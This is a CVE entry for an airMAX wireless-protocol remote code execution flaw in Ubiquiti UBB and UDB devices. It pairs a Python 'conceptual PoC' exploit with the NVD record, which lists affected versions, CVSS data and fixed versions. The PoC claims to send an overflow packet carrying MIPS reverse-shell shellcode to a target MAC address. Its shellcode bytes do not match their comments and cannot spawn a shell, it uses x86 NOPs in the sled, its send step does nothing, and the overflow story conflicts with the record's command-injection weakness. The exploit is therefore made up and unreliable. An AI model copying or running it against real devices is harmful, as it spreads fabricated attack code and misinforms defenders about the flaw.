CVE-2026-21638

# CVE-2026-21638 PoC - airMAX Protocol Exploit Framework # Note: This is a conceptual PoC for educational and security research purposes only import struct import sys class AirMAXExploit: def __init__(self, target_mac): self.target_mac = target_mac self.protocol_version = 0x01 self.packet_type = 0x0A def craft_malicious_packet(self): """Craft a malicious AirMAX packet with RCE payload""" # AirMAX packet header header = struct.pack('!6s', bytes.fromhex(self.target_mac.replace(':', ''))) header += struct.pack('!B', self.protocol_version) header += struct.pack('!B', self.packet_type) # Vulnerable field - oversized data without proper bounds checking # This triggers buffer overflow in protocol handler overflow_length = 256 overflow_data = b'\x41' * overflow_length # NOP sled for reliability nop_sled = b'\x90' * 32 # Shellcode - spawns reverse shell # Architecture: MIPS (common in Ubiquiti devices) shellcode = b'\x00\x00\x00\x00' # MIPS NOP shellcode += b'\xff\xff\x04\x28' # slti $a0, $zero, -1 shellcode += b'\xff\xff\x05\x28' # ori $a1, $zero, 0xFFFF shellcode += b'\x0c\x01\x01\x01' # syscall 0x40404 payload = header + overflow_data + nop_sled + shellcode return payload def inject_packet(self, interface): """Send malicious packet via wireless interface""" packet = self.craft_malicious_packet() print(f"[*] Sending malicious AirMAX packet to {self.target_mac}") print(f"[*] Packet size: {len(packet)} bytes") # Implementation would use Scapy or similar for raw packet injection return True def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_mac>") sys.exit(1) exploit = AirMAXExploit(sys.argv[1]) exploit.inject_packet('wlan0') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-21638", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:50.357", "lastModified": "2026-01-14T21:06:07.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor in Wi-Fi range of the affected product could leverage a vulnerability in the airMAX Wireless Protocol to achieve a remote code execution (RCE) within the affected product.\r\n\r\n\r\nAffected Products:\r\nUBB-XG (Version 1.2.2 and earlier) \r\nUDB-Pro/UDB-Pro-Sector (Version 1.4.1 and earlier) \r\nUBB (Version 3.1.5 and earlier) \r\n \r\nMitigation:\r\nUpdate your UBB-XG to Version 1.2.3 or later.\r\nUpdate your UDB-Pro/UDB-Pro-Sector to Version 1.4.2 or later.\r\nUpdate your UBB to Version 3.1.7 or later."}, {"lang": "es", "value": "Un actor malicioso dentro del alcance Wi-Fi del producto afectado podría aprovechar una vulnerabilidad en el Protocolo Inalámbrico airMAX para lograr una ejecución remota de código (RCE) dentro del producto afectado.\n\nProductos Afectados:\nUBB-XG (Versión 1.2.2 y anteriores)\nUDB-Pro/UDB-Pro-Sector (Versión 1.4.1 y anteriores)\nUBB (Versión 3.1.5 y anteriores)\n\nMitigación:\nActualice su UBB-XG a la Versión 1.2.3 o posterior.\nActualice su UDB-Pro/UDB-Pro-Sector a la Versión 1.4.2 o posterior.\nActualice su UBB a la Versión 3.1.7 o posterior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:ubb-xg_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.3", "matchCriteriaId": "D3F0A7CB-D400-4398-B59D-62849049956B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:ubb-xg:-:*:*:*:*:*:*:*", "matchCriteriaId": "F840F091-FA53-4F41-9DDE-F00C0C377EC5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:udb-pro_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "691CC9AC-2146-4758-A112-63FD94997A40"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:udb-pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "5B87A97E-15F6-4524-BDE4-670C0E2FC8FB"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:udb-pro-sector_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "770CD4B8-8548-4797-9FCB-C10400E44EA2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:udb-pro-sector:-:*:*:*:*:*:*:*", "matchCriteriaId": "F050664F-2D0A-42D9-AF9A-DCC35E77991C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:ubb_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.7", "matchCriteriaId": "52AAAA01-7576-46BD-AC80-09EA5B3D6263"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:ubb:-:*:*:*:*:*:*:*", "matchCriteriaId": "E6480788-66E3-496A-B1D8-4A190E5D2222"}]}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-060-060/cde18da7-2bc4-41bb-a9cc-48a4a4c479c1", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}